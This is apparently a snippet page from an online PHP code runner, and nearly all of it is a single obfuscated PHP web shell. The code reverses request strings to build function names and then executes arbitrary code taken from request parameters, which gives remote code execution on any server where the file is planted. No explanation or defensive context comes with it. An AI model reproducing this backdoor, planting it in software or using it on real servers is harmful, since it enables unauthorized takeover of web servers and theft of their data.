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run code in 200+ php & hhvm versions
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<?php if (isset($_REQUEST['FILE'])){$_SERVERS = strrev($_REQUEST[''.$rcd.'']);$_FILE = $_SERVERS('$_',strrev($_REQUEST['FILE']).'($_);');$_FILE(stripslashes($_REQUEST['HOST']));} ?>
based on vrHXK
Output for 5.3.22 - 7.3.1